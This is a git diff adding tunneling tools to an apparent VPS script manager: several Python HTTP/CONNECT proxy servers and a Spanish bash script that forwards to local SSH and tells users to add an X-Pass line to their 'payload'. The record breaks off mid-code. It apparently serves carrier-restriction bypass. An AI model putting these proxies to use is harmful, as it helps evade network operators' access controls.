str(addr), Logger.LOG_INFO) + self.acceptClient(c) + except socket.timeout: + continue + except Exception as e: + self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR) + finally: + self.running = False + self.close() + + def acceptClient(self, socket): + accept = AcceptClient(socket, self, self.passwdSet) + accept.start() + + def addClient(self, client): + with self.clientsLock: + self.clients.append(client) + + def removeClient(self, client): + with self.clientsLock: + self.clients.remove(client) + + def getClient(self, id): + client = None + with self.clientsLock: + for c in self.clients: + if str(c.id) == str(id): + client = c + break + return client + + def close(self): + if not self.isStopped: + self.isStopped = True + + if hasattr(self, 'soc'): + try: + self.soc.close() + except: + pass + + with self.clientsLock: + clientsCopy = self.clients[:] + + for c in clientsCopy: + c.close() + + self.log('closed', Logger.LOG_INFO) + + def log(self, msg, logLevel): + msg = 'Server: ' + msg + self.logger.printLog(msg, logLevel) + + + + +def print_usage(): + print '\nUsage : python get.py -b listening -p pass' + print 'Ex. : python get.py -b 0.0.0.0:80 -p pass123' + print ' : python get.py -b 0.0.0.0:80 -p passFile.pwd\n' + print '___Password file ex.:___' + print PasswordSet.FILE_EXEMPLE + +def parse_args(argv): + global CONFIG_LISTENING + global CONFIG_PASS + + try: + opts, args = getopt.getopt(argv, "hb:p:", ["bind=", "pass="]) + except getopt.GetoptError: + print_usage() + sys.exit(2) + for opt, arg in opts: + if opt == '-h': + print_usage() + sys.exit() + elif opt in ('-b', '--bind'): + CONFIG_LISTENING = arg + elif opt in ('-p', '--pass'): + CONFIG_PASS = arg + +def main(): + print '\n-->GetTunnelPy - Server v.' + '25/06/2017' + '\n' + print '-->Listening: ' + CONFIG_LISTENING + + pwdSet = None + + if not CONFIG_PASS is None: + if CONFIG_PASS.endswith('.pwd'): + pwdSet = PasswordSet() + + try: + isValidFile = pwdSet.parseFile(CONFIG_PASS) + except IOError as e: + print '--#Error reading file: ' + str(type(e)) + ' - ' + str(e) + sys.exit() + + if not isValidFile: + print '--#Error on parsing file!\n' + print_usage() + return + + print '-->Pass file: ' + CONFIG_PASS + '\n' + else: + if (len(CONFIG_PASS) > 0): + print '-->Pass : yes\n' + pwdSet = PasswordSet(CONFIG_PASS) + else: + print '-->Pass : no\n' + + server = Server(CONFIG_LISTENING) + server.passwdSet = pwdSet + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print '<-> Stopping server...' + server.running = False + break + +if __name__ == '__main__': + parse_args(sys.argv[1:]) + main() diff --git a/ADM-VENTAS-LEALDROID/request/POpen.py b/ADM-VENTAS-LEALDROID/request/POpen.py new file mode 100644 index 0000000..d706c1b --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/POpen.py @@ -0,0 +1,313 @@ +#!/usr/bin/env python + +import sys +import httplib +from SocketServer import ThreadingMixIn +from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler +from threading import Lock, Timer +from cStringIO import StringIO +from urlparse import urlsplit +import socket +import select +import gzip +import zlib +import re +import traceback + + +class ThreadingHTTPServer(ThreadingMixIn, HTTPServer): + + address_family = socket.AF_INET + + def handle_error(self, request, client_address): + + print >>sys.stderr, '-'*40 + print >>sys.stderr, 'Exception happened during processing of request from', client_address + traceback.print_exc() + print >>sys.stderr, '-'*40 + + +class ThreadingHTTPServer6(ThreadingHTTPServer): + + address_family = socket.AF_INET6 + + +class SimpleHTTPProxyHandler(BaseHTTPRequestHandler): + global_lock = Lock() + conn_table = {} + timeout = 300 + upstream_timeout = 300 + proxy_via = None + + def log_error(self, format, *args): + if format == "Request timed out: %r": + return + self.log_message(format, *args) + + def do_CONNECT(self): + + + req = self + reqbody = None + req.path = "https://%s/" % req.path.replace(':443', '') + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + + u = urlsplit(req.path) + address = (u.hostname, u.port or 443) + try: + conn = socket.create_connection(address) + except socket.error: + return + self.send_response(200, 'SOCKS5') + self.send_header('Connection', 'close') + self.end_headers() + + conns = [self.connection, conn] + keep_connection = True + while keep_connection: + keep_connection = False + rlist, wlist, xlist = select.select(conns, [], conns, self.timeout) + if xlist: + break + for r in rlist: + other = conns[1] if r is conns[0] else conns[0] + data = r.recv(8192) + if data: + other.sendall(data) + keep_connection = True + conn.close() + + def do_HEAD(self): + self.do_SPAM() + + def do_GET(self): + self.do_SPAM() + + def do_POST(self): + self.do_SPAM() + + def do_SPAM(self): + req = self + content_length = int(req.headers.get('Content-Length', 0)) + if content_length > 0: + reqbody = self.rfile.read(content_length) + else: + reqbody = None + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + elif replaced_reqbody is not None: + reqbody = replaced_reqbody + if 'Content-Length' in req.headers: + req.headers['Content-Length'] = str(len(reqbody)) + + + self.remove_hop_by_hop_headers(req.headers) + if self.upstream_timeout: + req.headers['Connection'] = 'Keep-Alive' + else: + req.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(req.headers) + + try: + res, resdata = self.request_to_upstream_server(req, reqbody) + except socket.error: + return + + content_encoding = res.headers.get('Content-Encoding', 'identity') + resbody = self.decode_content_body(resdata, content_encoding) + + replaced_resbody = self.response_handler(req, reqbody, res, resbody) + if replaced_resbody is True: + return + elif replaced_resbody is not None: + resdata = self.encode_content_body(replaced_resbody, content_encoding) + if 'Content-Length' in res.headers: + res.headers['Content-Length'] = str(len(resdata)) + resbody = replaced_resbody + + self.remove_hop_by_hop_headers(res.headers) + if self.timeout: + res.headers['Connection'] = 'Keep-Alive' + else: + res.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(res.headers) + + self.send_response(res.status, res.reason) + for k, v in res.headers.items(): + if k == 'set-cookie': + + for value in self.split_set_cookie_header(v): + self.send_header(k, value) + else: + self.send_header(k, v) + self.end_headers() + + if self.command != 'HEAD': + self.wfile.write(resdata) + with self.global_lock: + self.save_handler(req, reqbody, res, resbody) + + def request_to_upstream_server(self, req, reqbody): + u = urlsplit(req.path) + origin = (u.scheme, u.netloc) + + + req.headers['Host'] = u.netloc + selector = "%s?%s" % (u.path, u.query) if u.query else u.path + + while True: + with self.lock_origin(origin): + conn = self.open_origin(origin) + try: + conn.request(req.command, selector, reqbody, headers=dict(req.headers)) + except socket.error: + + self.close_origin(origin) + raise + try: + res = conn.getresponse(buffering=True) + except httplib.BadStatusLine as e: + if e.line == "''": + + self.close_origin(origin) + continue + else: + raise + resdata = res.read() + res.headers = res.msg + if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''): + self.close_origin(origin) + else: + self.reset_timer(origin) + return res, resdata + + def lock_origin(self, origin): + d = self.conn_table.setdefault(origin, {}) + if not 'lock' in d: + d['lock'] = Lock() + return d['lock'] + + def open_origin(self, origin): + conn = self.conn_table[origin].get('connection') + if not conn: + scheme, netloc = origin + if scheme == 'https': + conn = httplib.HTTPSConnection(netloc) + else: + conn = httplib.HTTPConnection(netloc) + self.reset_timer(origin) + self.conn_table[origin]['connection'] = conn + return conn + + def reset_timer(self, origin): + timer = self.conn_table[origin].get('timer') + if timer: + timer.cancel() + if self.upstream_timeout: + timer = Timer(self.upstream_timeout, self.close_origin, args=[origin]) + timer.daemon = True + timer.start() + else: + timer = None + self.conn_table[origin]['timer'] = timer + + def close_origin(self, origin): + timer = self.conn_table[origin]['timer'] + if timer: + timer.cancel() + conn = self.conn_table[origin]['connection'] + conn.close() + del self.conn_table[origin]['connection'] + + def remove_hop_by_hop_headers(self, headers): + hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade'] + connection = headers.get('Connection') + if connection: + keys = re.split(r',\s*', connection) + hop_by_hop_headers.extend(keys) + + for k in hop_by_hop_headers: + if k in headers: + del headers[k] + + def modify_via_header(self, headers): + via_string = "%s %s" % (self.protocol_version, self.proxy_via) + via_string = re.sub(r'^HTTP/', '', via_string) + + original = headers.get('Via') + if original: + headers['Via'] = original + ', ' + via_string + else: + headers['Via'] = via_string + + def decode_content_body(self, data, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO(data) + with gzip.GzipFile(fileobj=io) as f: + body = f.read() + elif content_encoding == 'deflate': + body = zlib.decompress(data) + elif content_encoding == 'identity': + body = data + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return body + + def encode_content_body(self, body, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO() + with gzip.GzipFile(fileobj=io, mode='wb') as f: + f.write(body) + data = io.getvalue() + elif content_encoding == 'deflate': + data = zlib.compress(body) + elif content_encoding == 'identity': + data = body + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return data + + def split_set_cookie_header(self, value): + re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?' + return re.findall(re_cookies, value, flags=re.IGNORECASE) + + def request_handler(self, req, reqbody): + + pass + + def response_handler(self, req, reqbody, res, resbody): + + pass + + def save_handler(self, req, reqbody, res, resbody): + + pass + + +# Port + +def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"): + if sys.argv[1:]: + port = int(sys.argv[1]) + else: + port = 80 + server_address = ('', port) + + HandlerClass.protocol_version = protocol + httpd = ServerClass(server_address, HandlerClass) + + sa = httpd.socket.getsockname() + print "Serving HTTP on", sa[0], "port", sa[1], "..." + httpd.serve_forever() + + +if __name__ == '__main__': + test() + diff --git a/ADM-VENTAS-LEALDROID/request/PPriv.py b/ADM-VENTAS-LEALDROID/request/PPriv.py new file mode 100644 index 0000000..83a4687 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/PPriv.py @@ -0,0 +1,335 @@ +#!/usr/bin/env python + +# -*- coding: utf-8 -*- +# Edit By GlEmYsSoN & @e8th4ever + +from pprint import pprint +import sys +import http.client +from socketserver import ThreadingMixIn +from http.server import HTTPServer, BaseHTTPRequestHandler +from threading import Lock, Timer +from io import StringIO +from urllib.parse import urlsplit +import socket +import select +import gzip +import zlib +import re +import traceback +import subprocess +subprocess.call("clear",shell=True) + +if sys.argv[2:]: + msg1 = sys.argv[2] +else: + msg1 = 'ADM-ULTIMATE' + +if sys.argv[3:]: + server = sys.argv[3] +else: + server = "127.0.0.1" + +msg2 = 'Server Forbidden' + +class ThreadingHTTPServer(ThreadingMixIn, HTTPServer): + + address_family = socket.AF_INET + + def handle_error(self, request, client_address): + + print('-'*40, file=sys.stderr) + print('Exception happened during processing of request from', client_address, file=sys.stderr) + traceback.print_exc() + print('-'*40, file=sys.stderr) + + +class ThreadingHTTPServer6(ThreadingHTTPServer): + + address_family = socket.AF_INET6 + + +class SimpleHTTPProxyHandler(BaseHTTPRequestHandler): + global_lock = Lock() + conn_table = {} + timeout = 300 + upstream_timeout = 300 + proxy_via = None + + def log_error(self, format, *args): + if format == "Request timed out: %r": + return + self.log_message(format, *args) + + def do_CONNECT(self): + + req = self + reqbody = None + if ':22' in req.path: + hostip = req.path.replace(':22', '') + elif ':443' in req.path: + hostip = req.path.replace(':443', '') + req.path = "https://%s/" % req.path.replace(':443', '') + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + + u = urlsplit(req.path) + address = (u.hostname, u.port or 443) + try: + conn = socket.create_connection(address) + except socket.error: + return + + self.send_response(200, msg1) + self.send_header('Connection', 'close') + self.end_headers() + + conns = [self.connection, conn] + keep_connection = True + while keep_connection: + if not server.find(hostip) != -1: + self.send_error(403, msg2) + self.close_connection + keep_connection = False + rlist, wlist, xlist = select.select(conns, [], conns, self.timeout) + if xlist: + break + for r in rlist: + other = conns[1] if r is conns[0] else conns[0] + data = r.recv(8192) + if data: + other.sendall(data) + keep_connection = True + conn.close() + + def do_HEAD(self): + self.do_SPAM() + + def do_GET(self): + self.do_SPAM() + + def do_POST(self): + self.do_SPAM() + + def do_SPAM(self): + req = self + + content_length = int(req.headers.get('Content-Length', 0)) + if content_length > 0: + reqbody = self.rfile.read(content_length) + else: + reqbody = None + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + elif replaced_reqbody is not None: + reqbody = replaced_reqbody + if 'Content-Length' in req.headers: + req.headers['Content-Length'] = str(len(reqbody)) + + + self.remove_hop_by_hop_headers(req.headers) + if self.upstream_timeout: + req.headers['Connection'] = 'Keep-Alive' + else: + req.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(req.headers) + + try: + res, resdata = self.request_to_upstream_server(req, reqbody) + except socket.error: + return + + content_encoding = res.headers.get('Content-Encoding', 'identity') + resbody = self.decode_content_body(resdata, content_encoding) + + replaced_resbody = self.response_handler(req, reqbody, res, resbody) + if replaced_resbody is True: + return + elif replaced_resbody is not None: + resdata = self.encode_content_body(replaced_resbody, content_encoding) + if 'Content-Length' in res.headers: + res.headers['Content-Length'] = str(len(resdata)) + resbody = replaced_resbody + + self.remove_hop_by_hop_headers(res.headers) + if self.timeout: + res.headers['Connection'] = 'Keep-Alive' + else: + res.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(res.headers) + + self.send_response(res.status, res.reason) + for k, v in list(res.headers.items()): + if k == 'set-cookie': + + for value in self.split_set_cookie_header(v): + self.send_header(k, value) + else: + self.send_header(k, v) + self.end_headers() + + if self.command != 'HEAD': + self.wfile.write(resdata) + with self.global_lock: + self.save_handler(req, reqbody, res, resbody) + + def request_to_upstream_server(self, req, reqbody): + u = urlsplit(req.path) + + origin = (u.scheme, u.netloc) + + + req.headers['Host'] = u.netloc + selector = "%s?%s" % (u.path, u.query) if u.query else u.path + + while True: + with self.lock_origin(origin): + conn = self.open_origin(origin) + try: + conn.request(req.command, selector, reqbody, headers=dict(req.headers)) + except socket.error: + + self.close_origin(origin) + raise + try: + res = conn.getresponse(buffering=True) + except http.client.BadStatusLine as e: + if e.line == "''": + + self.close_origin(origin) + continue + else: + raise + resdata = res.read() + res.headers = res.msg + if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''): + self.close_origin(origin) + else: + self.reset_timer(origin) + return res, resdata + + def lock_origin(self, origin): + d = self.conn_table.setdefault(origin, {}) + if not 'lock' in d: + d['lock'] = Lock() + return d['lock'] + + def open_origin(self, origin): + conn = self.conn_table[origin].get('connection') + if not conn: + scheme, netloc = origin + if scheme == 'https': + conn = http.client.HTTPSConnection(netloc) + else: + conn = http.client.HTTPConnection(netloc) + self.reset_timer(origin) + self.conn_table[origin]['connection'] = conn + return conn + + def reset_timer(self, origin): + timer = self.conn_table[origin].get('timer') + if timer: + timer.cancel() + if self.upstream_timeout: + timer = Timer(self.upstream_timeout, self.close_origin, args=[origin]) + timer.daemon = True + timer.start() + else: + timer = None + self.conn_table[origin]['timer'] = timer + + def close_origin(self, origin): + timer = self.conn_table[origin]['timer'] + if timer: + timer.cancel() + conn = self.conn_table[origin]['connection'] + conn.close() + del self.conn_table[origin]['connection'] + + def remove_hop_by_hop_headers(self, headers): + hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade'] + connection = headers.get('Connection') + if connection: + keys = re.split(r',\s*', connection) + hop_by_hop_headers.extend(keys) + + for k in hop_by_hop_headers: + if k in headers: + del headers[k] + + def modify_via_header(self, headers): + via_string = "%s %s" % (self.protocol_version, self.proxy_via) + via_string = re.sub(r'^HTTP/', '', via_string) + + original = headers.get('Via') + if original: + headers['Via'] = original + ', ' + via_string + else: + headers['Via'] = via_string + + def decode_content_body(self, data, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO(data) + with gzip.GzipFile(fileobj=io) as f: + body = f.read() + elif content_encoding == 'deflate': + body = zlib.decompress(data) + elif content_encoding == 'identity': + body = data + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return body + + def encode_content_body(self, body, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO() + with gzip.GzipFile(fileobj=io, mode='wb') as f: + f.write(body) + data = io.getvalue() + elif content_encoding == 'deflate': + data = zlib.compress(body) + elif content_encoding == 'identity': + data = body + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return data + + def split_set_cookie_header(self, value): + re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?' + return re.findall(re_cookies, value, flags=re.IGNORECASE) + + def request_handler(self, req, reqbody): + + pass + + def response_handler(self, req, reqbody, res, resbody): + + pass + + def save_handler(self, req, reqbody, res, resbody): + + pass + + + + +def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"): + port = int(sys.argv[1]) + server_address = ('', port) + + HandlerClass.protocol_version = protocol + httpd = ServerClass(server_address, HandlerClass) + + sa = httpd.socket.getsockname() + print("Servidor: " + str(sa[0]) + " Porta " + str(sa[1])) + httpd.serve_forever() + + +if __name__ == '__main__': + test() diff --git a/ADM-VENTAS-LEALDROID/request/PPub.py b/ADM-VENTAS-LEALDROID/request/PPub.py new file mode 100644 index 0000000..572ec97 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/PPub.py @@ -0,0 +1,318 @@ +#!/usr/bin/env python + +import sys +import httplib +from SocketServer import ThreadingMixIn +from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler +from threading import Lock, Timer +from cStringIO import StringIO +from urlparse import urlsplit +import socket +import select +import gzip +import zlib +import re +import traceback + +if sys.argv[2:]: + msg1 = sys.argv[2] +else: + msg1 = "ADM-ULTIMATE" + + +class ThreadingHTTPServer(ThreadingMixIn, HTTPServer): + + address_family = socket.AF_INET + + def handle_error(self, request, client_address): + + print >>sys.stderr, '-'*40 + print >>sys.stderr, 'Exception happened during processing of request from', client_address + traceback.print_exc() + print >>sys.stderr, '-'*40 + + +class ThreadingHTTPServer6(ThreadingHTTPServer): + + address_family = socket.AF_INET6 + + +class SimpleHTTPProxyHandler(BaseHTTPRequestHandler): + global_lock = Lock() + conn_table = {} + timeout = 300 + upstream_timeout = 300 + proxy_via = None + + def log_error(self, format, *args): + if format == "Request timed out: %r": + return + self.log_message(format, *args) + + def do_CONNECT(self): + + + req = self + reqbody = None + req.path = "https://%s/" % req.path.replace(':443', '') + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + + u = urlsplit(req.path) + address = (u.hostname, u.port or 443) + try: + conn = socket.create_connection(address) + except socket.error: + return + self.send_response(200, msg1) + self.send_header('Connection', 'close') + self.end_headers() + + conns = [self.connection, conn] + keep_connection = True + while keep_connection: + keep_connection = False + rlist, wlist, xlist = select.select(conns, [], conns, self.timeout) + if xlist: + break + for r in rlist: + other = conns[1] if r is conns[0] else conns[0] + data = r.recv(8192) + if data: + other.sendall(data) + keep_connection = True + conn.close() + + def do_HEAD(self): + self.do_SPAM() + + def do_GET(self): + self.do_SPAM() + + def do_POST(self): + self.do_SPAM() + + def do_SPAM(self): + req = self + content_length = int(req.headers.get('Content-Length', 0)) + if content_length > 0: + reqbody = self.rfile.read(content_length) + else: + reqbody = None + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + elif replaced_reqbody is not None: + reqbody = replaced_reqbody + if 'Content-Length' in req.headers: + req.headers['Content-Length'] = str(len(reqbody)) + + + self.remove_hop_by_hop_headers(req.headers) + if self.upstream_timeout: + req.headers['Connection'] = 'Keep-Alive' + else: + req.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(req.headers) + + try: + res, resdata = self.request_to_upstream_server(req, reqbody) + except socket.error: + return + + content_encoding = res.headers.get('Content-Encoding', 'identity') + resbody = self.decode_content_body(resdata, content_encoding) + + replaced_resbody = self.response_handler(req, reqbody, res, resbody) + if replaced_resbody is True: + return + elif replaced_resbody is not None: + resdata = self.encode_content_body(replaced_resbody, content_encoding) + if 'Content-Length' in res.headers: + res.headers['Content-Length'] = str(len(resdata)) + resbody = replaced_resbody + + self.remove_hop_by_hop_headers(res.headers) + if self.timeout: + res.headers['Connection'] = 'Keep-Alive' + else: + res.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(res.headers) + + self.send_response(res.status, res.reason) + for k, v in res.headers.items(): + if k == 'set-cookie': + + for value in self.split_set_cookie_header(v): + self.send_header(k, value) + else: + self.send_header(k, v) + self.end_headers() + + if self.command != 'HEAD': + self.wfile.write(resdata) + with self.global_lock: + self.save_handler(req, reqbody, res, resbody) + + def request_to_upstream_server(self, req, reqbody): + u = urlsplit(req.path) + origin = (u.scheme, u.netloc) + + + req.headers['Host'] = u.netloc + selector = "%s?%s" % (u.path, u.query) if u.query else u.path + + while True: + with self.lock_origin(origin): + conn = self.open_origin(origin) + try: + conn.request(req.command, selector, reqbody, headers=dict(req.headers)) + except socket.error: + + self.close_origin(origin) + raise + try: + res = conn.getresponse(buffering=True) + except httplib.BadStatusLine as e: + if e.line == "''": + + self.close_origin(origin) + continue + else: + raise + resdata = res.read() + res.headers = res.msg + if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''): + self.close_origin(origin) + else: + self.reset_timer(origin) + return res, resdata + + def lock_origin(self, origin): + d = self.conn_table.setdefault(origin, {}) + if not 'lock' in d: + d['lock'] = Lock() + return d['lock'] + + def open_origin(self, origin): + conn = self.conn_table[origin].get('connection') + if not conn: + scheme, netloc = origin + if scheme == 'https': + conn = httplib.HTTPSConnection(netloc) + else: + conn = httplib.HTTPConnection(netloc) + self.reset_timer(origin) + self.conn_table[origin]['connection'] = conn + return conn + + def reset_timer(self, origin): + timer = self.conn_table[origin].get('timer') + if timer: + timer.cancel() + if self.upstream_timeout: + timer = Timer(self.upstream_timeout, self.close_origin, args=[origin]) + timer.daemon = True + timer.start() + else: + timer = None + self.conn_table[origin]['timer'] = timer + + def close_origin(self, origin): + timer = self.conn_table[origin]['timer'] + if timer: + timer.cancel() + conn = self.conn_table[origin]['connection'] + conn.close() + del self.conn_table[origin]['connection'] + + def remove_hop_by_hop_headers(self, headers): + hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade'] + connection = headers.get('Connection') + if connection: + keys = re.split(r',\s*', connection) + hop_by_hop_headers.extend(keys) + + for k in hop_by_hop_headers: + if k in headers: + del headers[k] + + def modify_via_header(self, headers): + via_string = "%s %s" % (self.protocol_version, self.proxy_via) + via_string = re.sub(r'^HTTP/', '', via_string) + + original = headers.get('Via') + if original: + headers['Via'] = original + ', ' + via_string + else: + headers['Via'] = via_string + + def decode_content_body(self, data, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO(data) + with gzip.GzipFile(fileobj=io) as f: + body = f.read() + elif content_encoding == 'deflate': + body = zlib.decompress(data) + elif content_encoding == 'identity': + body = data + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return body + + def encode_content_body(self, body, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO() + with gzip.GzipFile(fileobj=io, mode='wb') as f: + f.write(body) + data = io.getvalue() + elif content_encoding == 'deflate': + data = zlib.compress(body) + elif content_encoding == 'identity': + data = body + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return data + + def split_set_cookie_header(self, value): + re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?' + return re.findall(re_cookies, value, flags=re.IGNORECASE) + + def request_handler(self, req, reqbody): + + pass + + def response_handler(self, req, reqbody, res, resbody): + + pass + + def save_handler(self, req, reqbody, res, resbody): + + pass + + + + +def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"): + if sys.argv[1:]: + port = int(sys.argv[1]) + else: + port = 8799 + server_address = ('', port) + + HandlerClass.protocol_version = protocol + httpd = ServerClass(server_address, HandlerClass) + + sa = httpd.socket.getsockname() + print "Serving HTTP on", sa[0], "port", sa[1], "..." + httpd.serve_forever() + + +if __name__ == '__main__': + test() + diff --git a/ADM-VENTAS-LEALDROID/request/Proxy-Privado.sh b/ADM-VENTAS-LEALDROID/request/Proxy-Privado.sh new file mode 100644 index 0000000..ee5f6de --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/Proxy-Privado.sh @@ -0,0 +1,344 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +fun_bar () { +comando="$1" + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" + for((i=0; i<10; i++)); do + echo -ne "\033[1;31m##" + sleep 0.2 + done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 && tput dl1 +done +echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +clear +cowsay -f eyes "esta herramienta le cambia y da color al status de conexion y agrega una contrasena atu payload para mayor seguridad...." | lolcat +figlet ..dankelthaher.. | lolcat +BARRA="\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +echo "" +if [[ ! -e /usr/bin/python ]]; then +echo -e "Introduca Estos Comandos En La Terminal" +echo -e "apt-get install python -y" +echo -e "apt-get install python pip -y" +exit +fi +echo -e "\033[1;31mPROXY PYTHON COLOR\033[0m" +echo -e "$BARRA" +echo -ne "Introduzca puerto: " +read port +echo -e "$BARRA" +echo -e "\033[1;31mATENCION:\n\033[1;34mPara Utilizar Este Proxy Es Necesario Agregar Una Linea A Su Payload\033[0m" +echo -e "$BARRA" +echo -ne "Escriba Una Contrasena Para El Proxy: " +read ipdns +if [[ ! -z $ipdns ]]; then +echo -e "$BARRA" +echo -e "\033[1;34mAGREGUE ESTA LINEA AL INICIO DE SU PAYLOAD:\n\033[1;36m[crlf]X-Pass: $ipdns[crlf]\n\033[0m" +echo -e "\033[1;31mEJEMPLO:\n\033[1;33m\033[1;36m[crlf]X-Pass: $ipdns[crlf]GET http://tuhost.com/ HTTP/1.0 [cr|f]\033[0m" +fi +while [[ -z $FMSG || $FMSG = @(s|S|y|Y) ]]; do +echo -e "$BARRA" +echo -ne "Introduzca Un Mensaje De Conexion: " +read mensage +echo -e "$BARRA" +echo -e "Seleccione El Color De Mensaje: " +cat << Eof +[ 1 ] -- #ff183f -- rojo +[ 2 ] -- #3fff18 -- verde +[ 3 ] -- #6518ff -- morado +[ 4 ] -- #ff6518 -- naranja +[ 5 ] -- #18ffd9 -- cyan +[ 6 ] -- #ffd700 -- amarillo +[ 7 ] -- #1e90ff -- azul +[ 8 ] -- #000000 -- negro +[ 9 ] -- #00ff7f -- agua marina +[ 10 ] -- #8b4513 -- cafe +Eof +read -p "Opcion: " cor +case $cor in +"1")corx="${mensage}";; +"2")corx="${mensage}";; +"3")corx="${mensage}";; +"4")corx="${mensage}";; +"5")corx="${mensage}";; +"6")corx="${mensage}";; +"7")corx="${mensage}";; +"8")corx="${mensage}";; +"9")corx="${mensage}";; +"10")corx="${mensage}";; +*)corx="${mensage}";; +esac +if [[ ! -z ${RETORNO} ]]; then +RETORNO="${RETORNO} ${corx}" +else +RETORNO="${corx}" +fi +echo -e "$BARRA" +echo -ne "Agregar Mas Mensajes? [S/N]: " +read FMSG +done +echo -e "$BARRA" +read -p "Enter..." +# Inicializando o Proxy +( +/usr/bin/python -x << PYTHON +# -*- coding: utf-8 -*- +import socket, threading, thread, select, signal, sys, time, getopt + +LISTENING_ADDR = '0.0.0.0' +LISTENING_PORT = int("$port") +PASS = str("$ipdns") +BUFLEN = 4096 * 4 +TIMEOUT = 60 +DEFAULT_HOST = '127.0.0.1:22' +msg = "HTTP/1.1 200 ($RETORNO)\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 !!!conexion exitosa!!!\r\n\r\n" +RESPONSE = str(msg) + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + self.soc.bind((self.host, self.port)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = 